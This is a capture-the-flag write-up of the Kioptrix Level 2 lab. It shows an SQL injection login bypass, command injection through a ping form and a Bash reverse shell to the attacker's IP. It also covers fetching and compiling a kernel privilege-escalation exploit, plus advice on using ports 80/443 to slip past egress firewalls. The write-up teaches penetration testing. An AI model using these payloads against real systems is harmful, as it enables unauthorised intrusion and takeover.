

CTF Write-Up: Kioptrix Level 2 (VulnHub)

Target IP: [TARGET_IP]

Attacker IP: [KALI_VM_IP]

Objective: Bypass administrative authentication and escalate privileges to obtain a Root shell.

I. Initial Access: SQL Injection (SQLi)

The entry point was a "Basic Administrative Web Console" login page at [http://\[TARGET_IP\]/index.php](http://[TARGET_IP]/index.php).

The Vulnerability

The login form was vulnerable to a "textbook" **SQL Injection** bypass. By manipulating the SQL query executed by the backend database, I was able to log in without a valid password.

- **Payload Used:**
 - **Username:** admin' #
 - **Password:** [BLANK]
 - **Technical Breakdown:** The ' character closes the original data string, and the # character comments out the rest of the SQL query (ignoring the password check entirely), forcing the database to log me in as the first user in the table: **Admin**.
-

II. Foothold: Remote Command Execution (RCE)

Once authenticated, I was presented with a web-based "Ping" tool.

The Vulnerability

This tool suffered from **Command Injection**. The application took user input and passed it directly to a Linux terminal command (ping -c 3 [INPUT]) without proper filtering.

Execution (Reverse Shell)

1. **Verification:** I tested the vulnerability by chaining commands with a semicolon: 127.0.0.1 ; whoami ; uname -a. The server responded with the user apache and confirmed a legacy **Linux Kernel 2.6.9**.
2. **Listener:** On my Kali machine, I initiated a Netcat listener: nc -lvp 4444.

3. **The Payload:** I injected a Bash reverse shell into the ping box:

127.0.0.1 ; bash -i >& /dev/tcp/[KALI_VM_IP]/4444 0>&1.

4. **Result:** I successfully "popped" a shell as the low-privilege apache service account.

III. Privilege Escalation: Kernel Exploitation

To "win" the machine, I needed to escalate from apache to root.

The "Silver Bullet" Exploit

Based on the kernel version (2.6.9) identified during the enumeration phase, I searched for a local privilege escalation exploit.

- **Exploit Found:** 9542.c (CVE-2009-2698).
- **Vulnerability:** A Ring0 Privilege Escalation flaw in ip_append_data().

The Attack Path

1. **Delivery:** I hosted the exploit on my Kali machine using a Python web server (python3 -m http.server 80) and downloaded it to the target's /tmp directory using wget.
2. **Compilation:** I compiled the C source code directly on the target machine:
gcc 9542.c -o exploit.
3. **Execution:** After granting execute permissions (chmod +x exploit), I ran the program.

IV. Post-Exploitation & Final Flag

The exploit successfully granted a **Root** shell (sh-3.00#).

- **Verification:** whoami returned root.
- **Flag Retrieval:** I accessed the root user's mailbox to find the final secret:

cat /var/spool/mail/root.

- **Clean Up:** As a matter of professional practice, I removed the exploit artifacts from the target system: rm /tmp/9542.c /tmp/exploit.
-

Important Facts Added for Your Documentation:

- **The Semicolon (;) Trick:** This character is a command separator in Linux. It tells the system to run the ping command first, then run our injected commands regardless of the ping result.
- **Why Port 4444?** While arbitrary, Port 4444 is a common default for testers. In a real-world hardened environment, you might use Port 80 or 443 to bypass restrictive outgoing firewall rules.
- **Kernel Vulnerabilities:** Legacy systems like Kioptrix (running CentOS 4) are highly vulnerable to Kernel exploits because they lack modern protections like **ASLR** (Address Space Layout Randomization) or **SMEP** (Supervisor Mode Execution Protection).